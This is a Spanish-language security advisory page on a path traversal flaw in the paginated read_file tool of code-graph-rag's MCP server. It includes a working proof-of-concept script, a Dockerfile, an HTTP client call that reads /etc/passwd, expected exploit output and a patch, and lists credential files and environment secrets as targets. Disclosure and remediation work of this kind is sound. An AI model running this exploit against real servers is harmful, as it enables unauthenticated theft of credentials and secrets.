Alta

Code Graph RAG: salto de directorio / lectura de archivos arbitrarios en read_file paginado de MCP

  • Publicada: 09.11.2026
  • Actualizado: 10.11.2026 10:00

Resumen

La herramienta MCP read_file en codebase_rag/mcp/tools.py contiene una vulnerabilidad de salto de directorio (path traversal) en su bifurcación paginada (cuando se proporciona offset o limit). El controlador construye una ruta de archivo utilizando Path(self.project_root) / file_path sin validar posteriormente que la ruta resuelta permanezca dentro de la raíz del proyecto configurada. El operador pathlib de Python descarta silenciosamente el componente de la izquierda cuando el argumento de la derecha es una ruta absoluta, lo que permite a un atacante leer cualquier archivo accesible en UTF-8 en el servidor pasando una ruta absoluta como /etc/passwd.

Detalles

Ubicación vulnerable: codebase_rag/mcp/tools.py:556–565 (MCPToolsRegistry.read_file)

La herramienta MCP read_file acepta tres parámetros: file_path, offset y limit. Cuando offset o limit está presente, el controlador toma una ruta de código distinta:

python
# codebase_rag/mcp/tools.py:556-565
async def read_file(
    self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
    logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
    try:
        if offset is not None or limit is not None:
            full_path = Path(self.project_root) / file_path   # ← VULNERABLE LINE
            start = offset if offset is not None else 0

            with open(full_path, encoding=cs.ENCODING_UTF8) as f:   # ← SINK

Dado que pathlib.Path.__truediv__ reemplaza por completo el operando izquierdo cuando el operando derecho es una ruta absoluta, cualquier ruta absoluta proporcionada por el llamador (p. ej., /etc/passwd, /proc/self/environ) hace que full_path apunte fuera de la raíz del proyecto.

La bifurcación no paginada está protegida por el decorador @validate_project_path (aplicado a través de codebase_rag/tools/file_reader.py:27), que ejecuta .resolve().relative_to(project_root) (codebase_rag/decorators.py:73–75), pero este decorador nunca se invoca en la bifurcación paginada, dejándola completamente desprotegida.

Flujo de datos completo (origen → destino):

  1. codebase_rag/config.py:302 — El host predeterminado de HTTP MCP es 0.0.0.0.
  2. codebase_rag/cli.py:717 — La CLI expone mcp-server.
  3. codebase_rag/cli.py:726–731 — --transport http invoca a serve_http(host=resolved_host, port=resolved_port).
  4. codebase_rag/mcp/server.py:208–210 — Starlette monta el extremo HTTP de MCP.
  5. codebase_rag/mcp/tools.py:227–249 — read_file se registra como una herramienta MCP que acepta file_path, offset y limit controlados por el atacante.
  6. codebase_rag/mcp/server.py:113–127 — call_tool despacha los argumentos JSON directamente al controlador mediante await handler(**arguments).
  7. codebase_rag/mcp/tools.py:561–565 — La bifurcación paginada construye full_path y llama a open(full_path) sin ninguna comprobación de límites.

La vulnerabilidad también está presente al utilizar el transporte stdio porque la ruta de código vulnerable no depende del tipo de transporte; sin embargo, el ataque no autenticado y accesible por red solo es posible cuando se configura el transporte HTTP.

PoC

Requisitos previos:

  • Docker instalado.
  • Repositorio clonado con los artefactos de vuln-001/ presentes (Dockerfile, poc.py).

Construcción y ejecución:

bash
# From the repository root (parent of vuln-001/)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
docker run --rm vuln001-poc

El Dockerfile instala el paquete codebase_rag desde el código fuente del repositorio local, crea una raíz de proyecto "segura" en /tmp/safe-project-root y ejecuta poc.py.

Qué hace la PoC (poc.py):

  1. Simula previamente (mock) las extensiones nativas en C mgclient / pymgclient (cliente Memgraph) para que el paquete se importe sin una base de datos activa.
  2. Crea una instancia de MCPToolsRegistry mediante object.__new__(), configurando solo self.project_root = "/tmp/safe-project-root", emulando el comportamiento del servidor real.
  3. Demuestra la evasión mediante pathlib: Path("/tmp/safe-project-root") / "/etc/hosts" resuelve en Path("/etc/hosts").
  4. Llama a registry.read_file("/etc/hosts", offset=0, limit=5), el método vulnerable real del paquete instalado.
  5. Comprueba mediante aserción que se devuelve el contenido real de /etc/hosts, confirmando la evasión total del límite del directorio.

Salida esperada:

[MCP] read_file: /etc/hosts (offset=0, limit=5)
[+] CONFIRMED: pathlib discards project_root when file_path is absolute
[+] read_file() returned:
# Lines 1-5 of 7
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::	ip6-localnet
ff00::	ip6-mcastprefix
ff02::1	ip6-allnodes
[+] EXPLOIT SUCCESSFUL
[+] Content of '/etc/hosts' exfiltrated via path traversal
[+] Project root boundary '/tmp/safe-project-root' was completely bypassed
[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal

Ataque equivalente mediante transporte HTTP (cuando el servidor está en ejecución):

bash
python3 - <<'PY'
import anyio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

async def main():
    async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            result = await session.call_tool(
                "read_file",
                {"file_path": "/etc/passwd", "offset": 0, "limit": 10},
            )
            print(result.content[0].text)

anyio.run(main)
PY

Remediación:

diff
--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
     async def read_file(
         self, file_path: str, offset: int | None = None, limit: int | None = None
     ) -> str:
         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
         try:
             if offset is not None or limit is not None:
-                full_path = Path(self.project_root) / file_path
+                project_root = Path(self.project_root).resolve()
+                try:
+                    full_path = (project_root / file_path).resolve()
+                    full_path.relative_to(project_root)
+                except (ValueError, RuntimeError):
+                    return te.ERROR_WRAPPER.format(
+                        message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+                    )
                 start = offset if offset is not None else 0

                 with open(full_path, encoding=cs.ENCODING_UTF8) as f:

Impacto

Esta es una vulnerabilidad de salto de directorio / lectura de archivos arbitrarios. Cualquier instancia accesible por red del servidor HTTP de MCP se ve afectada; no se requiere autenticación en la configuración predeterminada.

Un atacante remoto no autenticado puede leer cualquier archivo en el sistema de archivos del servidor que sea legible por el proceso que ejecuta cgr mcp-server. Los objetivos explotables incluyen:

  • /etc/passwd, /etc/shadow — divulgación de credenciales.
  • Secretos de aplicaciones, claves de API, archivos .env o claves privadas almacenadas en el host.
  • Código fuente o configuración fuera del repositorio de proyecto previsto.
  • Extremos de metadatos de instancias en la nube accesibles a través de la ruta de archivo local (p. ej., /proc/self/environ para filtración de variables de entorno).

La vulnerabilidad es particularmente grave debido a que el transporte HTTP se vincula a 0.0.0.0:8080 de forma predeterminada (codebase_rag/config.py:302), exponiendo el servidor a la red sin ningún requisito de autenticación en la configuración por defecto.

Artefactos de reproducción

Dockerfile

dockerfile
FROM python:3.12-slim

# Install build tools needed for some dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
        gcc build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the vulnerable repository source
COPY repo/ /app/repo/

# Install pure-Python dependencies (pymgclient is a native Memgraph client that
# requires a live Memgraph instance; we mock it in the PoC script instead)
RUN pip install --upgrade pip --quiet && \
    pip install --quiet \
        loguru \
        "mcp>=1.25.0" \
        "pydantic-ai>=1.102.0" \
        "pydantic-settings>=2.12.0" \
        "python-dotenv>=1.2.1" \
        "tiktoken>=0.12.0" \
        "toml>=0.10.2" \
        "tree-sitter==0.25.2" \
        "tree-sitter-python>=0.25.0" \
        "watchdog>=6.0.0" \
        "typer>=0.21.1" \
        "rich>=14.2.0" \
        "prompt-toolkit>=3.0.52" \
        "diff-match-patch>=20241021" \
        "click>=8.3.1" \
        "protobuf>=6.33.5" \
        "defusedxml>=0.7.1" \
        "huggingface-hub>=1.7.2" \
        "pathspec>=1.0.4" \
        "griffe>=1.0,<2" \
        httpx \
        anyio

# Install the codebase_rag package from the cloned repo.
# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;
# all other runtime deps were already installed above.
RUN pip install --no-deps --quiet -e /app/repo/

# Create the "safe" project root that the victim server would normally restrict to
RUN mkdir -p /tmp/safe-project-root && \
    echo "# This is a safe project file" > /tmp/safe-project-root/README.md

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

python
#!/usr/bin/env python3
"""
PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read
=============================================================================
Repository : vitali87/code-graph-rag
Version    : <= 0.0.343 (unpatched at HEAD commit f5d6bfd)

Vulnerable code location:
    codebase_rag/mcp/tools.py  lines 561-565 (MCPToolsRegistry.read_file)

Root cause:
    When 'offset' or 'limit' is provided, the method builds the path as:
        full_path = Path(self.project_root) / file_path          # line 562
    Python's pathlib discards 'project_root' when 'file_path' is an absolute path.
    The non-paginated branch is protected by @validate_project_path, but this branch
    has no such guard, so any absolute path is opened unconditionally.

Attack path (HTTP transport):
    MCP client  ->  POST /mcp  ->  call_tool("read_file", {"file_path": "/etc/hosts",
                                               "offset": 0, "limit": 5})
    -> MCPToolsRegistry.read_file("/etc/hosts", offset=0, limit=5)
    -> full_path = Path("/safe/root") / "/etc/hosts"  ==>  Path("/etc/hosts")
    -> open("/etc/hosts")  # no boundary check, file content returned

This PoC exercises the actual MCPToolsRegistry.read_file() method from the
installed package.  The Memgraph client (mgclient) is pre-mocked in sys.modules
because it is a native C extension that requires a live database; it is NOT used
by the vulnerable code path.  The MCPToolsRegistry instance is created via
object.__new__() to skip the __init__ that would connect to Memgraph -- the
paginated read_file branch only reads self.project_root, nothing else.
"""

import asyncio
import sys
from pathlib import Path
from unittest.mock import MagicMock

# ---------------------------------------------------------------------------
# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path
# ---------------------------------------------------------------------------
# mgclient is a C extension (Memgraph client).  It is imported at the top of
# codebase_rag/services/graph_service.py.  Inserting a MagicMock lets the
# module import succeed without a native library or a live Memgraph server.
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()

# ---------------------------------------------------------------------------
# Step 2: Import the vulnerable class from the installed package
# ---------------------------------------------------------------------------
print("[*] Importing MCPToolsRegistry from installed codebase_rag package ...")
try:
    from codebase_rag.mcp.tools import MCPToolsRegistry
except Exception as exc:
    print(f"[!] Import failed: {exc}")
    sys.exit(2)
print("[+] Import successful\n")

# ---------------------------------------------------------------------------
# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)
# ---------------------------------------------------------------------------
# __init__ connects to Memgraph and Qdrant -- neither is available here.
# The paginated read_file branch uses ONLY self.project_root, so setting
# just that attribute is sufficient to reproduce the vulnerability.
SAFE_ROOT = "/tmp/safe-project-root"

registry = object.__new__(MCPToolsRegistry)
registry.project_root = SAFE_ROOT

print(f"[*] MCPToolsRegistry instance created via object.__new__()")
print(f"[*] project_root = {SAFE_ROOT!r}")
print()

# ---------------------------------------------------------------------------
# Step 4: Demonstrate the pathlib absolute-path bypass
# ---------------------------------------------------------------------------
ATTACK_PATH = "/etc/hosts"

joined = Path(SAFE_ROOT) / ATTACK_PATH
print("[*] Pathlib join behaviour (the root cause):")
print(f"    Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}")
print(f"    => {joined}")
print(f"    Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}")

assert str(joined) == ATTACK_PATH, (
    f"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}"
)
print("[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n")

# ---------------------------------------------------------------------------
# Step 5: Call the actual vulnerable method
# ---------------------------------------------------------------------------
print(f"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)")
print(f"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path")
print(f"[*] Resulting full_path       = {joined}")
print()


async def run_poc() -> str:
    return await registry.read_file(ATTACK_PATH, offset=0, limit=5)


result = asyncio.run(run_poc())

print("[+] read_file() returned:")
print("-" * 60)
print(result)
print("-" * 60)
print()

# ---------------------------------------------------------------------------
# Step 6: Validate the output contains real /etc/hosts content
# ---------------------------------------------------------------------------
with open(ATTACK_PATH) as fh:
    actual_hosts = fh.read()

# Accept any of: pagination header, loopback address, or raw /etc/hosts lines
confirmed = (
    "Lines " in result                             # pagination header present
    or "127.0.0.1" in result                       # standard loopback entry
    or "localhost" in result                        # standard hostname entry
    or "::1" in result                             # IPv6 loopback
    or any(
        line.strip() in result
        for line in actual_hosts.splitlines()
        if line.strip() and not line.startswith("#")
    )
)

if confirmed:
    print("[+] EXPLOIT SUCCESSFUL")
    print(f"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal")
    print(f"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed")
    print()
    print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal")
    sys.exit(0)
else:
    print("[-] Validation failed -- could not find /etc/hosts content in result")
    print(f"[-] Returned value: {result!r}")
    sys.exit(1)

Qué hacer

Actualice a la versión 0.0.345 o posterior.

diff
--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
     async def read_file(
         self, file_path: str, offset: int | None = None, limit: int | None = None
     ) -> str:
         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
         try:
             if offset is not None or limit is not None:
-                full_path = Path(self.project_root) / file_path
+                project_root = Path(self.project_root).resolve()
+                try:
+                    full_path = (project_root / file_path).resolve()
+                    full_path.relative_to(project_root)
+                except (ValueError, RuntimeError):
+                    return te.ERROR_WRAPPER.format(
+                        message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+                    )
                 start = offset if offset is not None else 0

                 with open(full_path, encoding=cs.ENCODING_UTF8) as f:

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) code-graph-rag < 0.0.345 0.0.345

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Debilidad (CWE)
CWE-22
Plataforma
Python (PyPI)
Paquete
code-graph-rag
Publicada
09.11.2026
Actualizado
10.11.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-vvr2-h2jp-838m - CC BY 4.0

Historial de vulnerabilidades: code-graph-rag

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
2
Primera → última
11.2026 11.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 2

Divulgaciones por año

  1. 2026: 2
  1. Code Graph RAG: salto de directorio / lectura de archivos arbitrarios en read_file paginado de MCP esta entrada
    Alta · 7.5 CVE-2026-77604 < 0.0.345 0.0.345

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.